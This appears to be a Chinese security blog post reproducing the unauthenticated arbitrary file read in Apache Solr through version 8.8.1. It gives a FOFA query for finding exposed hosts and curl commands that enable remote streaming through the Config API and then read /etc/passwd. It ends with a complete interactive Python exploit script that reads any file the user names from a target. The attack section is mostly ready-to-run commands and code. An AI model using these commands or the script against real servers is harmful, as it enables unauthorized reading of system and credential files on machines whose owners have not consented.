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漏洞复现-Apache Solr 任意文件读取漏洞

谁不想当剑仙 2021-03-18
902

这周在hw,水一篇文章,记录一下漏洞利用,当一个合格的脚本小子


✔ 0x01 漏洞描述


由于Apache Solr默认安装时未开启身份验证,导致未经身份验证的攻击者可利用Config API打开requestDispatcher.requestParsers.enableRemoteStreaming开关,从而使攻击者可以在未授权的情况下获取目标服务器敏感文件。

听说报给官方后,官方拒绝修复,认为这不是一个漏洞,比一些src还离谱,人家起码会给个内部已知👀


✔ 0x02 漏洞影响



Apache Solr <= 8.8.1(全版本)



✔ 0x03 漏洞复现


fofa 语法:app="Solr"

3.1 获取 core name,拼接url

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json


Core name为:arabnews
,那么使用的url 为 http://xxx.xxx.xxx.xxx/solr/arabnews/config

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx/solr/arabnews/config -H 'Content-type:application/json'

继续使用 core name 拼接 http://xxx.xxx.xxx.xxx/solr/arabnews/debug/dump?param=ContentStreams

curl "http://xxx.xxx.xxx.xxx/solr/arabnews/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

3.2 攻击



✔ 0x04  漏洞POC


PeiQi文库的大佬已经写好了,我改了一点小毛病,读取完返回的值不一定是json,我复现的时候就遇到了这个问题,将json处理删掉了

    #!/usr/bin/python3
    # -*- coding:utf-8 -*-
    # @Author : PeiQi


    import requests
    import sys
    import random
    import re
    import base64
    import time
    from lxml import etree
    import json
    from requests.packages.urllib3.exceptions import InsecureRequestWarning


    def title():
    print('+------------------------------------------')
    print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
    print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
    print('+ \033[34m公众号 : PeiQi文库 \033[0m')
    print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m')
    print('+ \033[36m使用格式: python3 CVE-2019-0193.py \033[0m')
    print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
    print('+ \033[36mFile >>> 文件名称或目录 \033[0m')
    print('+------------------------------------------')


    def POC_1(target_url):
    core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
    try:
    response = requests.request("GET", url=core_url, timeout=10)
    core_name = list(json.loads(response.text)["status"])[0]
    print("\033[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config\033[0m")
    return core_name
    except:
    print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
    sys.exit(0)


    def POC_2(target_url, core_name):
    vuln_url = target_url + "/solr/" + core_name + "/config"
    headers = {
    "Content-type":"application/json"
    }
    data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
    try:
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
    print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
    if "responseHeader" in response.text and response.status_code == 200:
    print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
    else:
    print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
    sys.exit(0)


    except Exception as e:
    print("\033[31m[x] 请求失败 \033[0m", e)


    def POC_3(target_url, core_name, File_name):
    vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
    headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
    data = 'stream.url=file://{}'.format(File_name)
    try:
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
    if "No such file or directory" in response.text:
    print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
    else:
    print("\033[36m[o] 响应为:\n{} \033[0m".format(response.text))


    except Exception as e:
    print("\033[31m[x] 请求失败 \033[0m", e)


    if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    core_name = POC_1(target_url)
    POC_2(target_url, core_name)
    while True:
    File_name = str(input("\033[35mFile >>> \033[0m"))
    POC_3(target_url, core_name, File_name)


    0x04 参考

    Apache Solr 任意文件读取漏洞 1Day


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